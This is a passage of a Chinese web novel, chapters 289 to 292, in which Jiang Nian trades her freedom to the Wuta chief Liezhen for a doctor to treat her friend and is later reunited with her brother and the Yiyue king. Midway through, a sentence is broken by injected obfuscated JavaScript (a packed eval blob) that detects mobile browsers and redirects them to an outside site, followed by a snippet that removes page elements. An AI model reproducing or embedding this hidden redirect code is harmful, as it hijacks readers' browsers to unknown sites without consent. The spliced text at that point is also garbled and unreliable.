“我以后是个废人了。” 江念摇头道:“不会的,我们让大夫医治,一定可以治好,你还能跑能跳,还能踢蹴鞠。” 不一会儿,马车停下。 “到医馆了。”赶车之人掀帘进来,背着苏和下了马车,江念跟着一起进了医馆。 大夫见来了伤患,看着伤得不轻,让背到里间的榻上。 那路人将人送到后,便要离去,江念问他住址日后好答谢,他只是摆了摆手,辞了去。 “大夫,我朋友的伤怎么样?”江念看了苏和一眼,此时人已昏了过去。 大夫是个须发花白的老者,医馆开了有些年头,他走到苏和身边诊看一番,然后摇了摇头:“难治,我先给他上药,能不能醒过来就看他自己了。” 这话如同一盆冷水兜头浇下。 “大夫这话何意,什么叫能不能醒?他的腿脚不可治么?”江念问道。 大夫一面让药童取药,一面说:“你还想治好他的腿?失了这么多血,能醒过来就不错了,脚后筋断裂成这样,废了。” 江念住了嘴,怕耽误大夫救治,侧过身走到墙影下,双手交握,深深地呼吸着。 一边的大夫给苏和包扎好,叹了一息,说道:“丫头,你来。” 江念见叫自己,把脸一抹,走了过去,顶着半张肿脸道:“大夫你说。” “按他这个伤况,能不能活都是问题,一双腿脚肯定是要废的,下半辈子站立不起……” “再没其他的办法么?哪怕一点点办法也没有?” 大夫沉吟片刻,说道:“倒是有一个法子。” 江念的心往上一窜:“什么?” “乌医最擅医治筋骨,你若能请到他们,你这位朋友兴许还有一救,虽不能恢复如初但不至于变成残废。”大夫又道:“只是乌医难寻,而且他们一般不给外人医治。” 江念沉了一瞬,看向病榻上的男人,宽大的裤腿卷起,两个脚踝已包扎,白纱上渗出斑斑点点的血团。 “大夫,劳您照看好他,我出去一趟,马上回来。”江念说着,从腰袋取出银子递向旁边的药童。 大夫为难道:“再过一会儿,医馆就要闭门。” “不耽误,马上就回。”江念说着又往药童手里塞了一锭银子。 大夫只好点了点头。 江念出了医馆,左右看了看,随便招了一个正在收摊的小商贩:“小哥儿可会驾车?” 那商贩点头。 “劳烦驾车去九泽台,自有酬谢。”江念说道。 商贩应下,江念上了马车,往九泽台行去。 …… “劳烦往里通传,小妇人念娘,求见乌塔王。”江念说道。 那门子把江念上下打量一眼:“乌塔王岂是你这妇人想见就见的。” 江念想了想,转了话头:“奴家来还乌塔王的宝石**,你若误了事,可当得起责罚?” 门子一听,又问:“那**呢?叫我看看。” “那**岂能叫你看去,你只管往里通传,只需提及**,里面的人就知晓了。” 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915851|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子也怕担责,将信将疑地往里面通报。 先是报了乌塔王的近侍,那近侍一听**,想他们族领确实有把一直携带腰间的“碎光匕”。 这段时日倒是没见他佩于腰间,于是转身往里传知。 “她说她叫念娘?”烈真问道。 近侍回是:“那门子是这样说的。” “把人请进来。”烈真吩咐道。 江念被门子引到一处大厅中,就见烈真坐在那里,示意她坐,让下人看茶。 江念心里紧急,不敢延捱一刻,并不入座,开口道:“不知乌塔首领这里可有乌医,能医治脚筋断裂的乌医?” 烈真见她面色惶急,知道遇着事了,点了点头:“有。” “可否借来一用,我友人伤重,急需救治。”江念问道。 烈真不紧不慢地饮茶,然后放下茶盏,走到江念面前:“我可以借乌医与你,只是你要如何回报?” 江念怔了怔:“你要我如何报答?” 烈真的目光落到她的衣袖上,那里染了一块血迹,抬手想要牵住那处袖摆,却被避开。 “随我回乌塔,你若应下我,我便让乌医救治那人,如何?” 江念微垂着头,默着脸,一双手紧紧攥着,指甲掐入手心,认为还不够疼,得再掐狠些。 烈真知道这个时候提出此要求,有乘人之危之嫌,不过他顾不得这些。 “好,你救他,我随你走。”江念说着又追加一句,“我也有个不算条件的条件。” 烈真点头道:“说来。” “容我照顾他一些时日,待他好转我方安心离开。” 只要她愿同他走,这点要求不算什么:“依你。” 烈真当下吩咐人将苏和从医馆接回长福坊,让自己身边的乌医跟去,对他的脚伤进行救治。 江念就要跟去,却被烈真叫住:“你留下。” “我不会走,一个月,一个月后我自会上门。”江念说罢,转身离去,这次烈真没再拦。 …… 因云娘染了风寒,晚间秋水做饭,可饭做好后,等了半晌仍不见她家娘子回。 “他们还没回么?”云娘在里问了一句。 秋水端了一杯热水给她:“没呢,我打算往铺子走一趟。” “嗯,你看看去,按说这个时候早该回了。”云娘说道。 秋水又问云娘有没有好些,云娘示意自己无事,秋水出了屋子,正要打开院门,听见院外纷杂的脚踏声,还有人声。 好似还杂着她家娘子的声音。 秋水心道这是回了,于是赶紧打开院门,谁知几个异族服饰扮相的男子抬着一个兜子进了隔壁的院子。 而她家娘子也在其中。 “放到哪里?”其中一人问道。 “这边,这边。”江念在前把几人引进屋。 几名乌塔侍卫抬着兜子进了屋,然后将兜子里的人转移到床上。 秋水不明所以地跟在后面,这才看清兜子上躺着一人,那人竟是苏和,而且情况看起来非常不好。 “娘子,怎么回事?” 江念没时间同她解释,让乌医上前抓紧给苏和看治。 两日后,苏和醒了,但他并不知江念为救他应下的事,也并不知海上有一群人乘着风浪正往大夏而来…… 第289章 她背后有更强的靠山 在给苏和医治的两日,江念同云娘守在他身侧,另外又招了一个临时帮工的妇人在院中烧饭,香料铺让秋水守着。 江念将碗递到苏和手里:“你身上有伤,吃不得太油腻的,把这个粥喝了,慢慢养回气力。” 然后把自打苏和醒来,她已不知说了多少遍的话再次重复:“放心,那乌医说了,你这脚可以治好,治好后能跑能跳,就是不能再踢蹴鞠了。” 苏和笑着点了点头:“能跑能跳就好,这就很好了。” 江念也笑道:“是呢,那什么蹴鞠咱们不踢了,踢多了伤脚,反正钱也赚有了。” 说罢,缓缓低下头,轻声道:“还未还恩于你,又救了我一次。” “不是这样说,这次你被我牵累,至于海上那次……我不过随手施为,你莫放心里。”苏和说着,想起一事,问道,“那乌医你从哪儿找的?” 江念抬起头,扯出一丝笑:“大夏的京都到处都是乌塔人,找个乌医还不容易。” 苏和将粥喝完,过了一会儿,云娘端了药来:“放凉一会儿,就可以喝了。” 苏和看着云娘和江念,说道:“有你们照顾,这伤好似不那么疼。” 他自小就是孤儿,流落街头,哪怕后来发了家,也没有体会过温情,可自从结识了江念她们,让他感受到亲人一般的关心,他很珍视。 日子就这么过着,在乌医的调理下,苏和的双脚渐渐恢复,已经可以下地走动了,只是不能站立太久,脚踝很容易酸累。 “再养一些时,就可以正常走动了。”江念欣喜道。 苏和也很高兴,谁也不想下半辈子当个残废,如今能下地,能蹒跚走动,已是很好。 又过了小半个月,乌医离去,苏和的腿脚好得差不多,正常行走不成问题,再之后就是调养巩固。 这日一早,苏和敲响隔壁的院门,准备送江念几人去香料铺。 是云娘开的门。 “念娘呢,今儿我送你们。”苏和心情很好。 云娘把苏和让进院中,苏和在院中看了一圈,又问:“她们还未起身?” 云娘摇了摇头,只是不说话。 “云大姐摇头是何意,起还是没起呢。” “起了。”云娘的头半低着。 “起了,怎么不见人?也不着急去铺子。” 苏和说着,发现云娘面色有异,收起脸上的笑,问道:“是不是出了什么事?” 云娘并不打算隐瞒,之前他养伤,江念不让她说,如今他伤情好了,便把江念去九泽台求乌塔王救他的事情道了出来。 乌塔王应了她的请求,代价就是江念随他回乌塔,秋水作为江念的贴身侍婢,昨夜跟着一起去了九泽台。 苏和震在当场,脑子里突然闪现在港口城的情形,那个时候江念问他,郎君于我们有救命之恩,不知该如何报答? 当时他怎么说的,他玩笑了一句:待哪日我需要救命,你再救我,不就还回来了? 那不过是他的一句戏言呀,她怎能傻气得当真了呢! “香料铺子也关了,我说同她一道走,她不让我跟着,让我留下,不愿我再随她颠沛,她让我接手香料铺子,我也没那个心就把铺子锁了。”云娘说道。 苏和不听云娘说完,牵过院前的马,翻身而上,往九泽台飞驰去。 然而他连九泽台的府门都进不去,于是再次找到魏王府。 魏王倒是愿意见他。 魏秋早已得知苏和的遭遇,但这件事他出不了力,烈真相中了那女子,且那女子出于利益交换甘愿随他去乌塔。 他若再次开口求情,只怕会惹恼烈真,当初他兄长没登帝位前,在烈真面前也得客气着,何况是他。 “你的脚可还能玩蹴鞠?”魏秋问了一句毫不相关的话。 苏和捺下性子:“不能了。” “那个冯三郎我已找人弄废了,另外我给你一笔丰厚的恩饷……” 魏秋话未说完,苏和打断:“小人只想将友人救出,别的不要。” “不能。”魏秋也直接给话,绝了他的心思,“谁也救不出那位女子,就是我皇兄开口,他也不一定会听,何况……这种事,我和我皇兄也不会开口。” “再说难听一些,你是什么身份?他是什么身份?易地而处,如果你站在我的位置,会为了一个毫无根基之人而去开罪一个部族的首领?” 魏秋又道:“两利相权从其重,两害相权取其轻,除非这女子背后有更强的靠山,我皇兄权衡后或许会从中调和,凭你的身份……撬不动这盘棋。” 苏和彻底绝了希望,魏王的每句话他都认同,可他接受不了。 魏秋看着他落寞离去的背影,也只能无声地叹了一口气。 …… 青枝抚檐,绿草绵纤,厅殿楼阁,峥嵘轩峻。 一身着葱白对襟长衫的女子坐在湖轩发呆,女子盘着云髻,头上点着珠翠,静时,便是那画上的人儿,风一来,画上的人就活了。 烈真并不靠近,只立在远处看着,他是真喜欢这小妇人,说不上为什么,也没什么道理。 这时,从前走来一下人,走到烈真身侧立住。 “王,魏王来了,在前厅。” 烈真点了点头,往前厅去了。 到了前厅,就见魏秋正坐在那里喝茶。 “怎么今日来了?”烈真坐下,让下人拿湿巾来拭手,带着笑意道,“又来找我下棋?” 魏秋下得一手屎棋,偏他自己还不知,非找人下,找别人他又下不过,只能找他这个不懂行的,然后从他这里找些成就。 “今日不找你下棋,有正事同你说。”魏秋说道。 烈真一面拭手一面问道:“什么正事?” “我皇兄说,夷越使臣将至,叫你暂缓归程,此番夷使来朝,亦是机缘,你乌塔可与之相见通好一番。”魏秋说道。 “夷越国有使臣前来?他们君王呼延吉可来?”烈真问道。 魏秋看着烈真笑了一声:“人家一国之君,岂能随意离境,你以为都同你一样?” “我也只在你们大夏这样,别的地方我能这样?还不是视你二人为自家兄弟。”烈真说着又问,“夷越使臣几时到?” “前些时港口那边来信,说一行人已下了船,从陆路正往京都来,算着日子,再有个十来日就到。” 烈真想了想,说道:“他夷越国几个使臣前来,难不成还要我一族首领作陪?我留几人便是,让他们应会。” “倒也不止几个使臣,前方送了信来,说还有夷越的小国舅,他们这位小国舅可也有意思。” 烈真并不感兴趣,不过魏秋说到这里,他就顺道问了:“怎么个有意思?” “夷越国君王吞并了大梁,他这小舅子却是大梁江家人。” 烈真听罢,坐直身,理了理那话,笑道:“有些意思,这么说,那夷越王娶的是敌国的梁女?怕不是正妃罢?” “偏还就是他的大妃,也只这一个,同我皇兄一样。” 魏秋有点期待同这位夷越的小舅爷见一见,更想见一见那位夷越王,能以一附属国吞并上国,运筹帷幄,以小吞大,当得上一代雄主之称。 烈真听罢后,思忖片刻:“既是这样,我也见一见,缓些时走就缓些时走,左右已耽误了这许多时。” 魏秋笑道:“我正是这个意思。” 两人又说了些话,魏秋辞去。 待人走后,烈真起身去了后园,正走着就听到争吵声,因隔着距离听不太清,于是走近一些。 还没听清呢,先看清了。 两个女子,一个抱胸扬首,一个挥手乱舞,互不相让地吵着。 “你们这些蠢奴,还不把这玩意儿给我扔出去!成心恶心本公主么?” 烈真见自家小妹,阿丽娜,一面喝骂一面在空中乱挥着手。 立于她对面身着葱白对襟长裙的女子说道:“我看谁敢丢它,我的狗儿,没我的同意,你们丢了试试看。” 说话之人是江念。 接着就见她弯下腰,从地上抱起一毛茸茸的狗儿在怀里。 阿丽娜在空中挥着手,不停地喊着什么:“拿远些,拿远些。”说完又挠自己的手臂。 “一君狗奴,不认主了?她不过我兄长的一个姬妾你们就听她的?” 那些奴仆听后,不知该当如何,一个是他们尊贵的公主,一个是首领新进的美人儿。 江念抱着狗儿,故意往阿丽娜跟前走两步,说道:“你看它多可爱,要不你摸一摸?来嘛,来嘛,摸一摸……” 阿丽娜吓得连连后退,若不是丫鬟护着,差一点掉到湖里。 “成心的,你就是成心的!都说了我对狗毛过敏,你还拿小畜生往我跟前凑!” 江念笑道:“你对狗毛过敏与我何干,我对狗毛又不过敏。” 说罢又往阿丽娜跟前逼近几步,阿丽娜已经在湖池边,退无可退,急得又是挥手又是挠的。 江念记仇,一直记着此女在茶里给她下药的事,她如今在九泽台住着,心里不痛快,也得让她跟着一起不痛快。 “都别闹了。”一个声音传来。 第290章 她对他的爱始终大于仇 阿丽娜见她兄长来了,扒开护在身前的婢女,提着她那宽大的灯笼裤腿小跑到烈真面前。 开始了孩子一般的告状。 “王兄,这女人心性恶毒,明知我对狗毛过敏,还把畜生往我跟前抱,你看。” 说着把自己的胳膊露到烈真面前,只见蜜色的肌上一道道被她自己挠过的红棱。 烈真睨了一眼,再去看江念,江念直直地回看过来,仍是抱着怀里的小狗,不嫌事大地露出一个笑:“乌塔首领,你说这狗儿好不好看?要不要抱一抱?” 烈真走到江念身前,低下眼,看着她怀里的狗儿,在江念没防备时,伸出手,提着它的脖转抱到自己怀里,抚着。 “还想养什么?我叫人去买。” 江念怔了一瞬,抱回狗儿:“还我,它不喜欢你。”说罢带着人转身离开。 待人走后,阿丽娜看着烈真,怔怔地说:“王兄,你居然向着她,不向着我?” “你那不是自己挠的么?” “没那狗毛我怎会去挠,我打小就厌这些畜生……” 一语未毕,烈真打断:“你若实在不行,就住魏秋府上去。” 说完也走了。 阿丽娜一口气塞在胸口,像那湿过的棉絮,之后一跌脚:“我偏不,我就住这里,要走也是她走!” 烈真哪里管她,任她在后面叽哇乱叫。 掌灯时分,江念沐过身,穿着一套秋香色的绢衫走到窗榻边,踢鞋上了窗榻凭着窗栏。 榻上有一方小几,几上摆着香炉,燃着丝丝青烟。 秋水跪坐到她的身后,拿着小炉替江念烘干湿发。 她家主子这一头秀发还同以前一样,又浓又黑,披散下来,如云一样蜷在榻上。 这个时候,突然刮来一阵凉风,风中带了几点湿,落到江念的面上,江念向前倾了身,探出手,指尖接住一滴雨水。 “落雨了?” 秋水跟着往窗外看去,就听到雨打在花、叶上的声音,接着低低地说了一声:“娘子,你看……” 江念看去,就见烈真在几名仆从的随侍下从雨中走来,进到屋里。 一进来,屋里的丫鬟便上前替他更衣。 江念往他身上看了一眼,又收回眼,仍是半倚在窗榻边望着窗外。 烈真换下湿衣走到窗榻边,挥手让秋水退下,秋水看着江念,等她发话,江念点过头,她才退到一边。 “用过晚饭不曾?”烈真坐到她的身侧。 江念“嗯”了一声。 烈真见她长发湿着,便拿起几上的小炉,想要替她烘干发,谁知才执起那纤柔的发丝,发丝就从指尖滑走。 “不必了,就这么湿着。”江念说道。 烈真放下小暖炉,见她恨不得贴到窗栏上,尽避着他,将她和他之间拉出最大的空隙。 有些好笑,何曾想到自己也有被女子嫌恶的一天,也不逗弄她,站起身,坐到她的对面。 因二人之间有小案几阻隔,江念这才稍稍放松,只是仍不去看他。 “明日我要去街上买首饰。”江念没话找话,希望用庸俗的话语让周围的空气变得更加纯粹,纯粹的庸俗,不杂糅任何其他。 烈真点了点头:“好,我让人跟着,你想买什么便买什么。” 江念嘴角起笑,挑了挑眉梢:“我要买下整条街呢。” 烈真知她是故意的,一条胳膊搁到案几上,笑道:“那不行,买下来带不回去,待回了乌塔我送你一座城,如何?” 江念只想恶心人,谈些无情的身外之物,可这男人总能把无情的话里掺上那么点旖旎的调性,索性不再开口了。 烈真有些手痒,很想在她愠怒的粉腮捏一下,还是忍住了,伏猎的豹儿会在恰当的时机出其不意的冲起,锁喉。 “我来是告诉你一件事。”烈真说道。 江念无所谓地应了一声。 下人端来茶点,烈真本来要说的话被另一个念头岔开:“念娘会下棋么?” 江念看向烈真,不说话,可那眼神分明在说,你还会下棋? 烈真读懂了,让下人拿了棋盘来:“咱们下一场,消磨时间。” 江念想着,下棋也好,下罢一场好打发他走,于是两人执棋,你一子我一子地下着。 烈真不时抬眼看向对面,他其实并不会这玩意儿,往往她落子后,他要思忖很长时间才落下一子。 为填补中间安静的空白,想起刚才要说的话:“原是打算这三两日就启行回乌塔,如今夷越使臣来大夏,所以我们归期暂缓……” “啪——”的一声,棋子砸落到盘上。 烈真抬眼看去,就见江念怔在那里,手虚举在半空。 “怎么了?”烈真见她面色有异。 江念聚起眸光,不知自己如何开口的:“夷越国?” “是。”烈真想起她是梁国人,而梁国被夷越吞并,以为是这个原因让她神色不舒。 于是不打算在这个话题上停留,转说别的,谁知江念追问:“什么人?” 烈真怔了怔,没明白她问的什么。 江念语气有些急:“来的是什么人?” 烈真本不想多谈这些,怕引起她的伤心,见她追问这才说道:“夷越吞并大梁后,大夏皇帝曾派使臣渡海出访,结两国之交,那边自然要派遣使臣回访,所以这便来了。” 江念有些难言,压下喉头的哽塞,小心地问道:“使臣,只有使臣么?夷越王来不来?” “他不会来,两国先前不曾来往,眼下初次建交,夷越王作为一国之君不会离境,不会冒险前来大夏。” 烈真说着看向江念,见她两眼清亮,眼眶却微红,有些分辨不清她眼底的情绪。 “念娘还知道夷越王呢,怎的问他来不来?” 江念压下眼皮,静了一会儿,淡着腔:“没什么,只是随口一问,我的家国被这人灭了,想着他若来了,我有无机会近身,杀他解恨。” 烈真笑了笑:“你就是近他的身,也杀不了他。” 烈真的话就是字面的意思,可江念听着却是另一层意思,就算她近了呼延吉的身,她也杀不了他,因为她下不去手,她对他的爱始终大于仇绪。 她舍不得…… 可烈真接下来的一句话将她拉回现实:“就如同你近我的身,一样杀不了我。” 江念把棋盘上的子一糊,开始撵人:“困了,不玩了。” 烈真轻笑出声,叫下人收了棋盘,站起身看了眼窗外,叹了一声:“雨下大了,出了这屋,走一趟,靴袜必湿,要不……今夜我宿你屋里?” 江念浑身一僵,赶紧说道:“突然又不困了,要不再下几场棋,待雨小了再走?” “再下几场可就真走不了了。”烈真看了一眼她微湿的发尾,说道,“走了,时候不早了,你歇息。” 江念透着窗,见他下了台阶,下人从旁给他撑伞,走进雨里,直到夜雨将他的身形隐去。 接下来的时日,江念每日无事,不是去街上闲逛,就是在院中遛狗,她没再回过从前的小院,因为她的身边总会跟着一群美其名护她周全的乌塔人。 她亦知苏和来找过她,她让秋水传话给他,莫再来,好好过日子。 又过了些时日,九泽台有了不一样的气象,下人们忙碌起来,江念料想夷越使臣快到了,她的心境变得复杂,很难像之前那样漠然平静。 “夷越”这两个字离她很远了,像是上辈子的事情,本该有恨,可爱太浓,让那恨都不像恨,成了怨嗔,成了懦弱的退避,所以她逃了,逃到另一个国。 江念不再频繁出门,成日只在自己的一方院子里。 有时会侧耳听外面的闹动,也会从经过的下人嘴里捕捉只言片语的信息。 这日一早,九泽台格外不一样,不时能听到各院的分派声。 “夷越使臣马上就到了。” “陛下已着人接他们入宫,晚间他们回来,所有事宜都需备好,万不能怠慢了。” “那边的热水备下没有?还有膳堂的夜点备下了?夷越使臣晚间若要菜馔,需得有现成的。” “屋里已熏过香,床帐铺盖都是新的。” 江念抱着怀里的狗儿,懒懒的,那肉球似的狗儿似是察觉出主人低落的心绪,摇着尾巴往主人的下巴嗅凑,伸出舌头舔了舔,像是安慰。 …… 夷越使臣到了大夏京都,并未入九泽台,而是被夏帝派的侍人迎去了皇宫。 到了日落时分,皇帝又设筵宴招待众人。 宏大的宫殿之上,弦管讴歌,端得歌舞声容,桌案并列两排,几上肴陈珍馐。 上首横着一张大案,案后坐着大夏国皇帝,魏泽,只见其英气内敛,风姿深沉,通身显著着成熟男子该有的品格。 同他并案坐着另一人,正是乌塔族首领,烈真。 在夏帝魏泽的左手第一案,坐着夷越使臣代表,他的右手第一案坐着大夏的魏王,魏秋。 在大夏以左为尊,可见大夏对夷越使臣的重视。 “贵国君王遣使远来,修好通谊,今日此宴,一为贵使洗尘,二为两国邦谊。”魏泽举杯,堂下众人亦举杯。 夷越臣使代表举杯道:“承蒙陛下盛情设宴,深感荣幸,今日盛宴华美,礼乐雍容,愿借此杯酒,祝两国国运昌隆、情谊永固。” 魏泽又向夷越使臣介绍乌塔族使臣,又是一番客气慰问。 华殿花攒锦簇,众人举杯共饮。 魏泽将目光放到使臣左手边的年轻男子身上,问道:“这位可是夷越的小国舅?” 江轲拱手道:“回陛下的话,正是外臣。” 魏泽看向另一边的魏秋,说道:“你前些时还在我耳边提起,现在人来了,你可得尽好地主之谊。” 魏秋起身,向上躬身行礼应是,然后又看向对面的江轲,江轲亦起身,二人相互行礼见过。 重新归座,魏秋看向对面的江轲,眼睛却不自主地转到他身后的护卫官身上,心中暗忖,这位小国舅是梁人,容貌同大夏人并无不同。 可这些夷越人当真是身高体大,比之乌塔人更为英悍,尤其是那位小国舅身后的护卫…… 第291章 重逢 魏秋执起酒盏,借着喝酒的动作,透过杯沿往对面看。 这位夷越小国舅模样气宇不凡,也是上等的儿郎,不自觉又将目光落到他身后的一张矮几,那里坐着他的一名近侍,冷沉着脸。 那护卫脸上横着好长一道刀疤,从眉骨处斜向下,横穿整张脸,异发异眸。 这些夷越人看着太不一样。 那人似有所觉,蓦地回看过来,两人目光对上的一瞬,魏秋捏了捏杯壁,有些惊诧,刚才竟被一个护卫的目力压持住。 筵宴散去,宫侍们已备下马车,提灯的提灯,随护的随护,夷越同乌塔两拨人上了马车,在众人的环护下往九泽台行去。 …… 江念白日听说,夷越使臣被大夏皇帝邀去了宫皇,筵宴散后便要住进九泽台。 于是打算这些时日避着些,是以,她用罢饭后也不出院,沐过身就准备歇下。 这时秋水从外面走来,气嗔道:“娘子你看这狗儿,太顽皮。” 江念往她手里一看,噗嗤笑出声,只见那狗儿原本通身的白毛,脏污得看不出颜色。 “怎么弄的?”江念问道。 “见着个人就撒欢,随着人的脚跑,结果自己掉到荷池里了,得亏我远远地看见了,赶紧把它捞上来,这一身子泥怎么样呢!” 江念笑看着,见秋水身上也溅了好些泥点子,遂说道:“让外面的人再备些水,给它清洗一下。” 下人们听见吩咐,在院子里摆了一个大盆,然后从灶房拎来热水倒入木盆中。 秋水便把狗儿放到盆里,同另两个丫鬟一齐上手,给泥狗清洗毛发。 江念站在台阶上看着她们清洗,狗儿不听话,不愿待在水里,总想着往外跑。 就在几人不防备时,一个滋溜跳出木盆往院外跑去,跑一会儿再停下抖甩身上的水,等人近前时,又一溜烟跑开。 江念指着丫鬟:“快些,把它捉回,别不见了。” 秋水等人应下往院外跑去,江念也跟在后面。 这会儿天色已暗,只有院中挂着的灯笼亮着光,那狗儿随便钻到一个杂丛便难以找寻。 江念同几个丫鬟低着腰,往草丛觑眼探看,几人“嘬嘬”不停,间或唤两声“狗儿”。 最后没听到狗儿的回声,反听到一声“阿姐——” 江念以为自己出现了幻听,继续“嘬嘬”。 结果那声音又来了“阿姐——” 江念慢慢抬起头,灯光昏着,一簇树枝旁站了一人,于是眨了眨眼,然后背过身,双手捂住发酸的眼,她这是怎么了,看见轲儿了。 江轲也以为自己看错了,他的阿姐在大夏没有错,可是……怎么他吃了一场筵宴回来就看见了,像是凭空变出来的。 他从皇宫乘着马车回了九泽台,下人们带他回屋,沐洗过后便闲坐到窗边喝茶。 其实一路颠簸之下身体已是很累了,可他睡不着,心里积一件事,就是找回阿姐,这也是他来大夏的目的。 心事重重下随便套了一件外衫往园中散心,走到园里就看见一个熟悉的身影,连那“嘬嘬”两声也是熟悉的。 他苦寻了这么久的阿姐,是她么? 江念慢慢回过身,知道阿弟的身影会消失,就像父亲和母亲总是出现在她的眨眼之间,再看时便不见。 她回转身,他还在那里,并且往她跟前近了一步。 “阿姐,是你么?”江轲问道。 江念试着叫了一声:“轲儿?” 江轲红着眼眶:“阿姐,我是轲儿。” “轲儿?”江念仍是不敢相信,又试着叫了一声。 “是,我是。” 江念两步上前,抬手碰了碰他的身子,是实的,有温度,喜极而泣:“你又活了?!” 江轲怔了怔,料她误会了,于是把梁国战败后自己的遭遇大概讲了。 江念听说后,这才知道一切都是设计好的,源于李恒心底的愤恨,而她和呼延吉因为一个阴差阳错的误会,暗暗发酵,致使分离不聚。 这时,秋水走了进来,见到江轲后怔了又怔,也是欢喜泣泪。 江念笑着摇了摇头:“你去门前守着,我同小郎君有话说。” 秋水立马应下,去了院前。 两人走到内院,寻了一处坐下。 “阿姐怎么在九泽台?还有这一年过得可好?” 江念便把自己看见他倒吊于城门,误以为呼延吉使人为之,自己乘海船逃往大夏,之后在大夏开香铺做生意,最后苏和被人挑断脚筋,她为了寻乌医救他向烈真妥协,一一道了出来。 江轲越听眉头蹙得越紧,若真是这样,事情就复杂了,他本以为找到阿姐,直接将人带回就好。 来时他还想如何找人,是隐瞒江念的身份,向大夏皇帝陈请张贴告示,助他寻人,还是自己私下派人在京都找寻。 在他的预料中,最大的难处莫过于找人,不过既然人在大夏,肯定能找到,时日长短而已,这是他以为的最大困难。 谁知实际情况正好相反,他没费吹灰之力见到了人,却牵扯了大麻烦。 而且,他们也不能直接向大夏皇帝明说,江念是他阿姐,是夷越国的大妃,身份暴露对阿姐会非常不利。 夷越大妃流落他国,最后被幽囚于他人府宅,这并非什么光鲜之事,只能暗暗隐下。 今日筵宴上,他见过那个乌塔王。 乌塔族他听人说过,战斗力十分强横,虽为一部族,族长即为王,同大夏国互结为盟。 当初大夏皇帝能坐上皇位,就有乌塔族助力。 那个时候还是二皇子的烈真不仅带兵牵扯住敌国西晋,还派手下大将救过夏帝一命。 江轲张了张嘴,想要说什么,最终还是闭了嘴,江念并未注意到这细小的异常。 只因江念也在暗暗思着事情,她从夷越逃到梁国一年,后又从梁国往大夏一年,算起来,她同呼延吉分别已有两年。 她很想问一问有关他的情况,问他好不好,问他有无别的妻儿,问有关他的一切,可在亲弟面前,却羞于开口。 于是,只能换个方式:“朔儿好不好?有三岁了,多高了?” 江轲满口子应好,却没说太多,江念察觉出他的心不在焉,以为他太过疲累。 “我看你也累了,早些去歇息,什么事情待明日再说。”江念说道。 江轲点了点头:“阿姐,你也去休息,你放心,无论如何我都会带你回夷越。” 江念笑着点头:“好,阿姐信你,去歇息罢。” 待江轲走后,江念并未回屋,仍是坐在院中。 她看出了江轲面上的烦扰,只因这中间出现了一个烈真,且她已应下同烈真回乌塔。 事态发展至此,绝非他找到她就能将她带回夷越这么简单。 “娘子,夜里寒凉下露水了,回屋罢。”秋水走来,往她身上披了一件外衫。 江念拢着衣领,轻轻叹了一息,然后起身回屋。 秋水替江念宽去衣衫服侍她睡下,打下半边帐幔,然后吹熄了灯,摸着黑进了里间休息。 江念睁眼望着帐顶,满腔的心事,自从离了呼延吉,她的睡眠一直很浅,在江府时,因执着于弄清抄家真相,虽在自己闺房睡卧,却歇不好。 后来海船遇海贼,自那之后,夜里一点动静就能把她惊醒。 不知几更天时,院子里响起脚步声,虽然很轻很轻,可她捕捉到了。 接着房门被试着推了两下,没有推动,然而不及她发问,门就被撬开了。 一个高大的身影立在门前,逆着月色,看不清面目却能显现那人的身形。 江念霍地坐起,拥着衾被呵斥道:“烈真你干什么?!堂堂一个部族首领做起贼来。” 那人影反手关上门,往房里走来,江念急了,从旁抄过枕头往他身上砸去,却被那人接住,人影又进了两步。 这时秋水听到声音从里间跑出来,见房里突然进了人,就要去护江念。 江念却止住她:“秋水,你进去。” 秋水呆了呆,以为自己听错了,直到她家娘子再次开口,只是那声音轻颤着,压抑着。 “我无事,你去歇息罢。” 秋水瞟了那人的背影一眼,赶紧低下头退回里间。 暗淡的光线下,江念看清了来人的脸,连鞋也不穿,如鸟儿一般飞扑到那人的怀里,埋在他的胸前,汲着他身上的气息。 “你来了……” 在她扑进他怀中时,他的臂膀立时环了上来。 “嗯,我来了……” 他将她抱起,避免地面凉了她的脚。 他抱着她,不愿松开手,将她抱到榻上,放下,仍是牵着她,她亦拉着他,两人的手紧紧交握着。 “他们说你不会来。”江念望着他,抚上他的脸。 “明知你在大夏,我怎么可能不来。” 说罢,两人都安静了下来,阔别两年,再次相见,都有一些不知如何开口的局促,好像壅了一腔的情意,却不敢任它放纵,得缓着些,慢着点。 都怕惊到对方。 原来,呼延吉得知江念在大夏,要亲身前来接她,却被群臣劝阻,最后,他扮作江轲的贴身侍卫随着海船到了大夏。 江念脸有些红,从他手里抽出手,依到他的身侧,替他宽衣,待外衫褪去,呼延吉入到帐里…… 第292章 不怕,万事有我 两人都有许多话,眼下已是深更,分别的两年光景说长不长,说短却也不短,却好像隔开了一辈子,只这后半夜又怎能罄谈忠曲。 江念望着呼延吉的脸,微凉的指尖轻轻划过他的面颊:“怎么这样长一道疤?” 呼延吉贪婪地享受着她的触碰,哪怕只听她说话,或是她不愿说话只看着他,她在他的身边呼吸,他都是欢喜的,满足的。 “无事,不是真的,是贴上去的。”知道她喜欢自己这张脸,于是赶紧将脸搓了搓,把疤揭掉,“你看,这就没了。” 江念微垂着颈,想着要说些什么,因为有好多话,她又找不出个主次来。 可还没等她开口,呼延吉却唤了她一声:“阿姐……” 江念抬头:“什么?” “先前是我不好,你问我那话时,我当时心烦,也……心虚……”呼延吉说道。 江念默了一会儿,说道:“我才见过轲儿了,他同我说了,李旭为了活命受李恒指使,把江家抄家的原因推到你的身上。” “虽是这么说,但我不能完全脱掉干系,当初若不是我李旭不会为帝,他若不为帝,后来的那些事都不会发生。” 这也是为什么,当初江念问他时,他没有正面回答,江家被抄,同他没有直接关系,也有间接关系,他当时心虚了,一心虚就不想回应,下意识地想要避闪她的质问。 他不想去谈当年之事,一点也不想,就像翻一本书,碰到不喜的内容,要把前后一两页夹在一起翻过,不愿去正视。 